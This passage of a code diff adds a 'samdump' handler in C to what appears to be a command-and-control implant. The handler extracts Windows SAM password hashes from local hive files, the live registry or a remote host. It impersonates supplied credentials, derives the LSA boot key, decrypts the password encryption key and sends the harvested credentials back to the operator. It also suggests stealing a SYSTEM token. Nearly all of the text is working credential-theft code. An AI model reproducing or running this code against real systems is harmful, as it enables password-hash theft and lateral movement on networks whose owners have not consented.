Both paths are required for files method + if (samPath[0] == '\0') { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: sam_path is required when method=files\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + if (systemPath[0] == '\0') { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: system_path is required when method=files\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Verify that the files exist + if (GetFileAttributesA(samPath) == INVALID_FILE_ATTRIBUTES) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: SAM file not found: %s\n", samPath); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Error code: %lu\n", GetLastError()); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + if (GetFileAttributesA(systemPath) == INVALID_FILE_ATTRIBUTES) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: SYSTEM file not found: %s\n", systemPath); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Error code: %lu\n", GetLastError()); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + PackageAddFormatPrintf(salida, FALSE, "[samdump] Using SAM file: %s\n", samPath); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Using SYSTEM file: %s\n", systemPath); + + // Load hives into temporary registry keys + PackageAddFormatPrintf(salida, FALSE, "[samdump] Loading registry hives from files...\n"); + + // Convert paths to wide strings for RegLoadKey + WCHAR samPathW[MAX_PATH] = {0}; + WCHAR systemPathW[MAX_PATH] = {0}; + MultiByteToWideChar(CP_ACP, 0, samPath, -1, samPathW, MAX_PATH); + MultiByteToWideChar(CP_ACP, 0, systemPath, -1, systemPathW, MAX_PATH); + + // Temporary key names + WCHAR tempSamKey[] = L"SAM_TEMP"; + WCHAR tempSystemKey[] = L"SYSTEM_TEMP"; + + LONG regResult; + HKEY hkLocalMachine = NULL; + + // Open HKEY_LOCAL_MACHINE + regResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, NULL, 0, KEY_ALL_ACCESS, &hkLocalMachine); + if (regResult != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to open HKEY_LOCAL_MACHINE: %ld\n", regResult); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege/SeRestorePrivilege\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Load SAM hive + regResult = RegLoadKeyW(hkLocalMachine, tempSamKey, samPathW); + if (regResult != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to load SAM hive: %ld\n", regResult); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege/SeRestorePrivilege\n"); + RegCloseKey(hkLocalMachine); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM hive loaded successfully\n"); + + // Load SYSTEM hive + regResult = RegLoadKeyW(hkLocalMachine, tempSystemKey, systemPathW); + if (regResult != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to load SYSTEM hive: %ld\n", regResult); + RegUnLoadKeyW(hkLocalMachine, tempSamKey); // Unload SAM if SYSTEM fails + RegCloseKey(hkLocalMachine); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] SYSTEM hive loaded successfully\n"); + + // Initialize native API functions + if (!InitNativeFunctions()) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to initialize native API functions\n"); + RegUnLoadKeyW(hkLocalMachine, tempSamKey); + RegUnLoadKeyW(hkLocalMachine, tempSystemKey); + RegCloseKey(hkLocalMachine); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Get LSA system key from loaded SYSTEM hive + PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting LSA system key from loaded SYSTEM hive...\n"); + UCHAR LsaSystemKey[SYSTEM_KEY_SIZE]; + NTSTATUS NtStatus = GetLsaSystemKeyFromHive(tempSystemKey, LsaSystemKey); + + if (!NT_SUCCESS(NtStatus)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: 0x%08lX\n", NtStatus); + RegUnLoadKeyW(hkLocalMachine, tempSamKey); + RegUnLoadKeyW(hkLocalMachine, tempSystemKey); + RegCloseKey(hkLocalMachine); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] LSA system key extracted successfully\n"); + + // Get Password Encryption Key from loaded SAM hive + PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting Password Encryption Key from loaded SAM hive...\n"); + UCHAR PasswordEncryptionKey[PEK_SIZE]; + PNTOPENKEYEX OpenKeyEx = NULL; + NtStatus = GetPasswordEncryptionKeyFromHive(LsaSystemKey, PasswordEncryptionKey, tempSamKey, &OpenKeyEx); + + if (!NT_SUCCESS(NtStatus)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: 0x%08lX\n", NtStatus); + RegUnLoadKeyW(hkLocalMachine, tempSamKey); + RegUnLoadKeyW(hkLocalMachine, tempSystemKey); + RegCloseKey(hkLocalMachine); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] Password Encryption Key extracted successfully\n"); + + // Dump password hashes from loaded SAM hive + PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating password hashes from loaded SAM hive...\n"); + PPaquete credentials = nuevoPaquete(0, FALSE); + DumpPasswordHashesFromHive(PasswordEncryptionKey, tempSamKey, OpenKeyEx, credentials, salida); + _inf("[samdump] Password hash enumeration completed"); + + // Unload hives + RegUnLoadKeyW(hkLocalMachine, tempSamKey); + RegUnLoadKeyW(hkLocalMachine, tempSystemKey); + RegCloseKey(hkLocalMachine); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Registry hives unloaded\n"); + + PackageAddFormatPrintf(salida, FALSE, "\n============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "|| Dump Completed ||\n"); + PackageAddFormatPrintf(salida, FALSE, "============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n"); + + // Add artifacts + char artifact_buf[512]; + snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: File read %s", samPath); + addArtifact(artifacts, "File Read", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "SYSTEM database access: File read %s (boot key)", systemPath); + addArtifact(artifacts, "File Read", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: SAM database enumeration and hash extraction from files"); + addArtifact(artifacts, "Credential Access", artifact_buf); + + // Add output + if (salida->length > 0) { + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length); + } else { + addInt32(respuesta, 0); + } + + // Add credentials + if (credentials->length > 0) { + addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE); + _inf("[samdump] Credentials agregadas, length=%zu", credentials->length); + } + + // Add artifacts + if (artifacts->length > 0) { + addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE); + _inf("[samdump] Artifacts agregados, length=%zu", artifacts->length); + } + + liberarPaquete(credentials); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } else if (strcmp(method, "remote") == 0) { + if (remoteHost[0] == '\0') { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Remote host not specified\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] remote_host is required when method=remote\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + PackageAddFormatPrintf(salida, FALSE, "[samdump] Remote host: %s\n", remoteHost); + + // Impersonate user if provided (username and password indicate impersonation) + BOOL impersonated = FALSE; + if (username[0] != '\0' && password[0] != '\0') { + PackageAddFormatPrintf(salida, FALSE, "[samdump] Impersonating user: %s\n", username); + + // Use network credentials for remote access + // Format: "User@Domain:Password" or "User:Password" + CHAR credentialString[512]; + if (strchr(username, '@') == NULL) { + // No domain, use format "User:Password" + snprintf(credentialString, sizeof(credentialString), "%s:%s", username, password); + } else { + // Has domain, use format "User@Domain:Password" + snprintf(credentialString, sizeof(credentialString), "%s:%s", username, password); + } + + WCHAR credentialStringW[512]; + MultiByteToWideChar(CP_ACP, 0, credentialString, -1, credentialStringW, 512); + + // Parse credential string to separate username and password + PWCHAR colonPos = wcschr(credentialStringW, L':'); + if (colonPos) { + *colonPos = L'\0'; + PWCHAR userPart = credentialStringW; + PWCHAR passPart = colonPos + 1; + + // LogonUser with LOGON32_LOGON_NEW_CREDENTIALS for outbound connections only + HANDLE TokenHandle; + BOOL Result = LogonUserW(userPart, NULL, passPart, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &TokenHandle); + + if (Result) { + Result = ImpersonateLoggedOnUser(TokenHandle); + CloseHandle(TokenHandle); + if (Result) { + impersonated = TRUE; + PackageAddFormatPrintf(salida, FALSE, "[samdump] Successfully impersonated user\n"); + } else { + PackageAddFormatPrintf(salida, FALSE, "[samdump] WARNING: Failed to impersonate user: %lu\n", GetLastError()); + } + } else { + PackageAddFormatPrintf(salida, FALSE, "[samdump] WARNING: Failed to create token for user: %lu\n", GetLastError()); + } + } + } + + // Check if we can access SAM remotely (start Remote Registry service if needed) + PackageAddFormatPrintf(salida, FALSE, "[samdump] Checking remote registry service...\n"); + WCHAR remoteHostW[256]; + MultiByteToWideChar(CP_ACP, 0, remoteHost, -1, remoteHostW, 256); + + BOOL canAccess = CanAccessSamRemotely(remoteHostW); + if (!canAccess) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Cannot access remote registry service\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Ensure Remote Registry service can be started on target\n"); + if (impersonated) { + RevertToSelf(); + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Connect to remote registry + PackageAddFormatPrintf(salida, FALSE, "[samdump] Connecting to remote registry...\n"); + HKEY hkRemote = NULL; + LONG regResult = RegConnectRegistryW(remoteHostW, HKEY_LOCAL_MACHINE, &hkRemote); + + if (regResult != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to connect to remote registry: %ld\n", regResult); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Ensure Remote Registry service is running on target\n"); + if (impersonated) { + RevertToSelf(); + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + PackageAddFormatPrintf(salida, FALSE, "[samdump] Connected to remote registry successfully\n"); + + // Get LSA system key from remote registry + PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting LSA system key from remote registry...\n"); + UCHAR LsaSystemKey[SYSTEM_KEY_SIZE]; + LONG lsaStatus = GetLsaSystemKeyRemote(hkRemote, LsaSystemKey); + + if (lsaStatus != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: %ld\n", lsaStatus); + RegCloseKey(hkRemote); + if (impersonated) { + RevertToSelf(); + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] LSA system key extracted successfully\n"); + + // Get Password Encryption Key from remote SAM + PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting Password Encryption Key from remote SAM...\n"); + UCHAR PasswordEncryptionKey[PEK_SIZE]; + LONG pekStatus = GetPasswordEncryptionKeyRemote(hkRemote, LsaSystemKey, PasswordEncryptionKey); + + if (pekStatus != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: %ld\n", pekStatus); + RegCloseKey(hkRemote); + if (impersonated) { + RevertToSelf(); + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + PackageAddFormatPrintf(salida, FALSE, "[samdump] Password Encryption Key extracted successfully\n"); + + // Dump password hashes from remote SAM + PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating password hashes from remote SAM...\n"); + PPaquete credentials = nuevoPaquete(0, FALSE); + DumpPasswordHashesRemote(hkRemote, PasswordEncryptionKey, credentials, salida); + _inf("[samdump] Password hash enumeration completed"); + + // Close remote registry connection + RegCloseKey(hkRemote); + if (impersonated) { + RevertToSelf(); + } + + PackageAddFormatPrintf(salida, FALSE, "\n============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "|| Dump Completed ||\n"); + PackageAddFormatPrintf(salida, FALSE, "============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n"); + + // Add artifacts + char artifact_buf[512]; + snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Remote registry connection to %s", remoteHost); + addArtifact(artifacts, "Network Connection", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "SYSTEM database access: Remote registry read %s\\SYSTEM (boot key)", remoteHost); + addArtifact(artifacts, "Registry Read", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: Remote SAM database enumeration and hash extraction"); + addArtifact(artifacts, "Credential Access", artifact_buf); + + // Add output + if (salida->length > 0) { + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length); + } else { + addInt32(respuesta, 0); + } + + // Add credentials + if (credentials->length > 0) { + addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE); + _inf("[samdump] Credentials agregadas, length=%zu", credentials->length); + } + + // Add artifacts + if (artifacts->length > 0) { + addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE); + _inf("[samdump] Artifacts agregados, length=%zu", artifacts->length); + } + + liberarPaquete(credentials); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Default: registry method (existing implementation) + // Check if we can access SAM + _inf("[samdump] Checking SAM database access..."); + PNTOPENKEYEX OpenKeyEx = NULL; + NTSTATUS NtStatus = CanAccessSam(&OpenKeyEx); + + if (!NT_SUCCESS(NtStatus)) { + _err("[samdump] Cannot access SAM database: 0x%08lX", NtStatus); + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Cannot access SAM database: 0x%08lX\n", NtStatus); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Try: steal_token 4 (to steal SYSTEM token)\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + _inf("[samdump] SAM database access granted"); + + // Artifacts will be added during hash extraction + // We'll add them here as a general indicator + char artifact_buf[512]; + snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Registry read HKEY_LOCAL_MACHINE\\SAM"); + addArtifact(artifacts, "Registry Read", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Registry read HKEY_LOCAL_MACHINE\\SYSTEM (boot key)"); + addArtifact(artifacts, "Registry Read", artifact_buf); + + snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: SAM database enumeration and hash extraction"); + addArtifact(artifacts, "Credential Access", artifact_buf); + + // Get the LSA system key + _inf("[samdump] Extracting LSA system key..."); + UCHAR LsaSystemKey[SYSTEM_KEY_SIZE]; + NtStatus = GetLsaSystemKey(LsaSystemKey); + + if (!NT_SUCCESS(NtStatus)) { + _err("[samdump] Failed to get LSA system key: 0x%08lX", NtStatus); + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: 0x%08lX\n", NtStatus); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + if (artifacts->length > 0) { + addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, TRUE); + } + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + _inf("[samdump] LSA system key extracted successfully"); + + // Get the Password Encryption Key (PEK) + _inf("[samdump] Extracting Password Encryption Key (PEK)..."); + UCHAR PasswordEncryptionKey[PEK_SIZE]; + NtStatus = GetPasswordEncryptionKey(LsaSystemKey, PasswordEncryptionKey, OpenKeyEx); + + if (!NT_SUCCESS(NtStatus)) { + _err("[samdump] Failed to get Password Encryption Key: 0x%08lX", NtStatus); + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: 0x%08lX\n", NtStatus); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + if (artifacts->length > 0) { + addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, TRUE); + } + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + _inf("[samdump] Password Encryption Key extracted successfully"); + + // Create temporary package for credentials (they will be added after output) + PPaquete credentials = nuevoPaquete(0, FALSE); + + // Dump all password hashes + _inf("[samdump] Starting password hash enumeration..."); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating local user accounts...\n\n"); + DumpPasswordHashes(PasswordEncryptionKey, OpenKeyEx, credentials, salida); + _inf("[samdump] Password hash enumeration completed"); + + PackageAddFormatPrintf(salida, FALSE, "\n============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "|| Dump Completed ||\n"); + PackageAddFormatPrintf(salida, FALSE, "============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n"); + + // IMPORTANT: Add ALL output to response FIRST + // The parser expects: UUID (36 bytes) + Output size (4 bytes) + Output data + Artifacts/Credentials + _inf("[samdump] Adding output to response, output length=%zu, respuesta length before=%zu", salida->length, respuesta->length); + if (salida->length > 0) { + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length); + } else { + // Even if no output, we must add the size field (0) + addInt32(respuesta, 0); + _inf("[samdump] Output size (0) agregado, respuesta length after=%zu", respuesta->length); + } + + // IMPORTANT: Add credentials AFTER the output (before artifacts) + _inf("[samdump] Adding credentials to response, length=%zu", credentials->length); + if (credentials->length > 0) { + // Copy credentials data directly (they already have their markers) + addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE); + } + + // IMPORTANT: Add artifacts AFTER credentials + _inf("[samdump] Adding artifacts to response, length=%zu", artifacts->length); + if (artifacts->length > 0) { + // Copy artifacts data directly (they already have their markers) + addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE); + } + + liberarPaquete(credentials); + + // Log final package content before sending + _inf("[samdump] Paquete final antes de enviar, length=%zu", respuesta->length); + if (respuesta->length >= 73) { + PBYTE buffer = (PBYTE)respuesta->buffer; + _inf("[samdump] Primeros 73 bytes del paquete (debería ser UUID_agente[36] + POST_RESPONSE[1] + UUID_tarea[36]):"); + for (SIZE_T i = 0; i < 73; i++) { + _inf(" [%zu] 0x%02X ('%c')", i, (unsigned char)buffer[i], + (buffer[i] >= 32 && buffer[i] < 127) ? buffer[i] : '.'); + } + // Verify UUID structure + _inf("[samdump] UUID_agente (bytes 0-35): %.36s", buffer); + _inf("[samdump] POST_RESPONSE (byte 36): 0x%02X", (unsigned char)buffer[36]); + _inf("[samdump] UUID_tarea (bytes 37-72): %.36s", (PCHAR)(buffer + 37)); + } else { + _wrn("[samdump] Paquete demasiado corto (%zu bytes), esperado al menos 73", respuesta->length); + } + + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + + _inf("===== SamDumpHandler FIN ====="); +} + +// Check if SID is Local System +static BOOLEAN IsSidLocalSystem(PSID Sid) { + PSID LocalSystemSid; + SID_IDENTIFIER_AUTHORITY IdentifierAuthority = SECURITY_NT_AUTHORITY; + + // Use advapi32.dll functions directly (available statically) + if (!AllocateAndInitializeSid(&IdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &LocalSystemSid)) { + return FALSE; + } + + BOOLEAN Result = EqualSid(Sid, LocalSystemSid); + FreeSid(LocalSystemSid); + return Result; +} + +// Check if we can access SAM +static NTSTATUS CanAccessSam(PNTOPENKEYEX* NtOpenKeyExPointer) { + HANDLE TokenHandle; + NTSTATUS Status = pNtOpenProcessToken(NtCurrentProcess, TOKEN_QUERY, &TokenHandle); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + ULONG ReturnLength; + UCHAR Buffer[256]; + PTOKEN_USER UserSid = (PTOKEN_USER)Buffer; + + Status = pNtQueryInformationToken(TokenHandle, TokenUser, UserSid, sizeof(Buffer), &ReturnLength); + NtClose(TokenHandle); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + // If we are SYSTEM, we can access SAM directly + if (IsSidLocalSystem(UserSid->User.Sid)) { + *NtOpenKeyExPointer = NULL; + return STATUS_SUCCESS; + } + + // Otherwise, try to acquire SeBackupPrivilege + ULONG Privilege = SE_BACKUP_PRIVILEGE; + PVOID State; + + Status = pRtlAcquirePrivilege(&Privilege, 1, 0, &State); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + // Try to get NtOpenKeyEx (Windows 7+) + PVOID DllHandle; + UNICODE_STRING DllName = RTL_CONSTANT_STRING(L"ntdll.dll"); + + Status = pLdrGetDllHandle(0, 0, &DllName, &DllHandle); + + if (NT_SUCCESS(Status)) { + ANSI_STRING ProcedureName = RTL_CONSTANT_ANSI_STRING("NtOpenKeyEx"); + Status = pLdrGetProcedureAddress(DllHandle, &ProcedureName, 0, (PVOID*)NtOpenKeyExPointer); + } + + return Status; +} + +// Get LSA System Key from registry +static NTSTATUS GetLsaSystemKey(PUCHAR SystemKey) { + HANDLE LsaKey; + UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Lsa"); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status = pNtOpenKey(&LsaKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + UNICODE_STRING KeyNames[4] = { + RTL_CONSTANT_STRING(L"JD"), + RTL_CONSTANT_STRING(L"Skew1"), + RTL_CONSTANT_STRING(L"GBG"), + RTL_CONSTANT_STRING(L"Data") + }; + + HANDLE KeyHandle; + UCHAR KeyParts[16]; + ULONG ResultLength; + + KeyAttributes.RootDirectory = LsaKey; + + for (UCHAR Index = 0; Index < 4; Index++) { + KeyAttributes.ObjectName = &KeyNames[Index]; + Status = pNtOpenKey(&KeyHandle, KEY_QUERY_VALUE, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + break; + } + + UCHAR Buffer[100] = { 0 }; + PKEY_NODE_INFORMATION NodeInformation = (PKEY_NODE_INFORMATION)Buffer; + + Status = pNtQueryKey(KeyHandle, KeyNodeInformation, NodeInformation, 100, &ResultLength); + NtClose(KeyHandle); + + if (!NT_SUCCESS(Status)) { + break; + } + + *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul((PWCHAR)(Buffer + NodeInformation->ClassOffset), 0, 16)); + } + + if (NT_SUCCESS(Status)) { + // Permutate key parts + SystemKey[0] = KeyParts[8]; + SystemKey[1] = KeyParts[5]; + SystemKey[2] = KeyParts[4]; + SystemKey[3] = KeyParts[2]; + SystemKey[4] = KeyParts[11]; + SystemKey[5] = KeyParts[9]; + SystemKey[6] = KeyParts[13]; + SystemKey[7] = KeyParts[3]; + SystemKey[8] = KeyParts[0]; + SystemKey[9] = KeyParts[6]; + SystemKey[10] = KeyParts[1]; + SystemKey[11] = KeyParts[12]; + SystemKey[12] = KeyParts[14]; + SystemKey[13] = KeyParts[10]; + SystemKey[14] = KeyParts[15]; + SystemKey[15] = KeyParts[7]; + } + + NtClose(LsaKey); + return Status; +} + +// Get Password Encryption Key +static NTSTATUS GetPasswordEncryptionKey(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx) { + HANDLE AccountKey; + UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SAM\\SAM\\Domains\\Account"); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status; + + if (OpenKeyEx == NULL) { + Status = pNtOpenKey(&AccountKey, KEY_READ, &KeyAttributes); + } else { + Status = OpenKeyEx(&AccountKey, KEY_READ, &KeyAttributes, REG_OPTION_BACKUP_RESTORE); + } + + if (!NT_SUCCESS(Status)) { + return Status; + } + + UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F"); + ULONG ResultLength; + + Status = pNtQueryValueKey(AccountKey, &FixedAttributesValueName, KeyValueFullInformation, 0, 0, &ResultLength); + + if (Status != STATUS_BUFFER_TOO_SMALL) { + NtClose(AccountKey); + return Status; + } + + PKEY_VALUE_FULL_INFORMATION KeyValue = (PKEY_VALUE_FULL_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ResultLength); + + if (KeyValue == NULL) { + NtClose(AccountKey); + return STATUS_INSUFFICIENT_RESOURCES; + } + + Status = pNtQueryValueKey(AccountKey, &FixedAttributesValueName, KeyValueFullInformation, KeyValue, ResultLength, &ResultLength); + + if (NT_SUCCESS(Status)) { + PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)((PUCHAR)(KeyValue) + KeyValue->DataOffset); + + BOOLEAN DecryptResult = DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey); + if (DecryptResult == FALSE) { + Status = STATUS_UNSUCCESSFUL; + } + } + + HeapFree(GetProcessHeap(), 0, KeyValue); + NtClose(AccountKey); + return Status; +} + +// Decrypt Password Encryption Key +static BOOLEAN DecryptPasswordEncryptionKey(PUCHAR LsaSystemKey, PSAM_DOMAIN_FIXED_DATA DomainFixedData, PUCHAR PasswordEncryptionKey) { + switch (DomainFixedData->PasswordEncryptionKey.Version) { + case 1: { + // RC4 encryption + CHAR String1[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + CHAR String2[] = "0123456789012345678901234567890123456789"; + + // Create MD5 hash + UCHAR md5Input[256]; + ULONG offset = 0; + memcpy(md5Input + offset, DomainFixedData->PasswordEncryptionKey.Rc4.Salt, 16); + offset += 16; + memcpy(md5Input + offset, String1, sizeof(String1)); + offset += sizeof(String1); + memcpy(md5Input + offset, LsaSystemKey, SYSTEM_KEY_SIZE); + offset += SYSTEM_KEY_SIZE; + memcpy(md5Input + offset, String2, sizeof(String2)); + offset += sizeof(String2); + + UCHAR md5Digest[MD5_DIGEST_LENGTH]; + MD5Hash(md5Input, offset, md5Digest); + + // Use SystemFunction033 for RC4 decryption + STRING Data; + Data.Length = Data.MaximumLength = PEK_SIZE; + Data.Buffer = (PCHAR)DomainFixedData->PasswordEncryptionKey.Rc4.Key; + + STRING Key; + Key.Length = Key.MaximumLength = MD5_DIGEST_LENGTH; + Key.Buffer = (PCHAR)md5Digest; + + NTSTATUS Status = pSystemFunction033(&Data, &Key); + + if (NT_SUCCESS(Status)) { + memcpy(PasswordEncryptionKey, Data.Buffer, Data.Length); + return TRUE; + } + + return FALSE; + } + + case 2: { + // AES encryption + BOOLEAN Result = Aes128Decrypt(LsaSystemKey, 